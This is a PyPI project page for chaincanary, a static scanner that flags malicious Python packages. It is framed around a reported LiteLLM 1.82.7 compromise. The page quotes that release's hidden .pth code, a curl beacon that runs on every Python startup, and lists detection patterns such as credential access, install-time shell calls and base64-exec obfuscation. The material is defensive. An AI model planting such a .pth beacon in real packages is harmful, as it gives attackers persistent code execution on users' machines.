Skip to main content

Security scanner for Python packages โ€” detects supply chain attacks before they execute

Project description

๐Ÿ›ก๏ธ chaincanary

Stop malicious Python packages before they execute.

CI PyPI version Python 3.9+ License: Apache 2.0


What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth โ€” executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python โ€” not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.


Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐Ÿ” chaincanary โ€” Analyzing litellm==1.82.7

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Severity   โ”‚ Rule                         โ”‚ Title                                โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ CRITICAL   โ”‚ PTH_FILE_INSTALL             โ”‚ .pth file installs dangerous code... โ”‚
โ”‚ CRITICAL   โ”‚ PTH_NETWORK_BEACON           โ”‚ phone-home on every Python startup   โ”‚
โ”‚ CRITICAL   โ”‚ PTH_SUBPROCESS               โ”‚ subprocess on every Python startup   โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  Score: 10.0 / 10.0
  Verdict: โ–ˆโ–ˆ MALICIOUS

  Rollback: pip install litellm==1.82.6

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.


Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

๐Ÿ” chaincanary audit โ€” requirements.txt (42 packages)

Scanning packages... โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 100%

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Package          โ”‚ Version โ”‚ Score โ”‚ Verdict  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ litellm          โ”‚ 1.82.7  โ”‚ 10.0  โ”‚ MALICIOUSโ”‚
โ”‚ suspicious-lib   โ”‚ 0.3.1   โ”‚  7.5  โ”‚ HIGH_RISKโ”‚
โ”‚ requests         โ”‚ 2.28.0  โ”‚  0.0  โ”‚ SAFE     โ”‚
โ”‚ ...              โ”‚ ...     โ”‚  0.0  โ”‚ SAFE     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

โœ— 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ†’ 1.82.7

  Added files:  litellm_init.pth   โ† NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended โ€” it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package โ€” scan then install
chaincanary install requests==2.32.0

# CI โ€” scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.


What chaincanary detects

.pth attack (LiteLLM 1.82.7 pattern)

.pth files in Python site-packages execute on every interpreter startup โ€” not just during install. This makes them ideal for persistent backdoors.

chaincanary understands the difference:

.pth content Classification Finding
Empty Normal โœ“ silent
/usr/local/lib/... Path-only โœ“ silent
setuptools distutils shim Safe code โš  LOW
subprocess.Popen(['curl', ...]) Dangerous ๐Ÿ”ด CRITICAL

Other attack vectors

What Where Severity
Network call during pip install setup.py HIGH
Shell command during pip install setup.py HIGH
exec(base64.decode(...)) obfuscation anywhere HIGH
Network call on every import __init__.py MEDIUM
SSH / AWS credentials access anywhere HIGH
Path traversal in wheel zip .whl structure CRITICAL
Known malicious SHA256 hash .whl file CRITICAL

What chaincanary does NOT do

  • Does not install packages
  • Does not execute any package code
  • Does not require Docker or privileged access
  • Does not send package contents to any server
  • Does not replace pip โ€” it scans before you decide to install

How it works

pip install request      โ† your intent
      โ†“
chaincanary                 โ† intercepts
      โ†“
Download wheel (no install, no execute)
      โ†“
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      โ†“
Score 0โ€“10 โ†’ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      โ†“
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.


Comparison

Tool Detection scope Behavioral .pth analysis No Docker Lockfile audit Speed
chaincanary Supply chain behavior โœ… semantic + content โœ… โœ… ~2s/pkg
pip-audit Known CVEs + dep confusion โŒ โœ… โœ… fast
Safety Known CVEs (advisory DB) โŒ โœ… โœ… fast
Trivy SBOM + CVEs (image/repo) โŒ โœ… โœ… slow
Bandit SAST (your source code) โŒ โœ… โŒ fast
socket.dev Publish-time behavior diff partial โœ… โœ… fast

chaincanary is not a CVE scanner โ€” it doesn't check advisory databases. It's a behavioral scanner: it looks at what a package does, not whether it appears in a known-bad list. Use it alongside pip-audit/Safety for full coverage.


Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap What it means Workaround
No C extension analysis Malicious .so/.pyd files aren't scanned Sandbox (v0.3)
No CVE database Won't catch known vulnerabilities Use alongside pip-audit
No dynamic sandbox Side-effects on import not executed Static signals only (for now)
Multi-stage payloads Pkg that downloads payload at runtime looks clean Network monitoring (v0.3)
Private registries Can't download from non-public PyPI mirrors --offline flag (v0.2)

โ†’ Full limitation table: ROADMAP.md#known-limitations


Roadmap

Version Theme ETA
post-0.1 Scoring fixes, DNS exfil, typosquatting, git deps โœ… done
v0.2 Hash feed, SARIF output, --timeout, pre-commit hook soon
v0.3 Lightweight sandbox, package reputation, npm/cargo later

โ†’ Full plan: ROADMAP.md


Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome โ€” especially:

  • New malicious hash signatures
  • Detection rules for new attack patterns
  • False positive reports (real packages that chaincanary misflags)

License

Apache 2.0. See LICENSE.


Built after the LiteLLM supply chain attack, March 2026.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

chaincanary-0.1.4.tar.gz (41.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

chaincanary-0.1.4-py3-none-any.whl (39.5 kB view details)

Uploaded Python 3

File details

Details for the file chaincanary-0.1.4.tar.gz.

File metadata

  • Download URL: chaincanary-0.1.4.tar.gz
  • Upload date:
  • Size: 41.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.4.tar.gz
Algorithm Hash digest
SHA256 dc25af5dd803dafbc0e0c59b6ab6c086e134f9dc95265c7eaffd8209f7840077
MD5 2ba7335bff0a6a641883d46b8264293d
BLAKE2b-256 cbcd288ac6e13edac7e641e53e8b5db593638619b09da2df854a76c6e41a9657

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.4.tar.gz:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file chaincanary-0.1.4-py3-none-any.whl.

File metadata

  • Download URL: chaincanary-0.1.4-py3-none-any.whl
  • Upload date:
  • Size: 39.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.4-py3-none-any.whl
Algorithm Hash digest
SHA256 6b9940e57cd1900be6a30faf4ce205534187900cf4d0962a010fde476861efbc
MD5 9fed15662c2ae6911b6d8a462cd12489
BLAKE2b-256 8f9873a37c1c92c11039c1de2b3a1ed95e67d89ae5eb726cbc1d8948e1902ee0

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.4-py3-none-any.whl:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page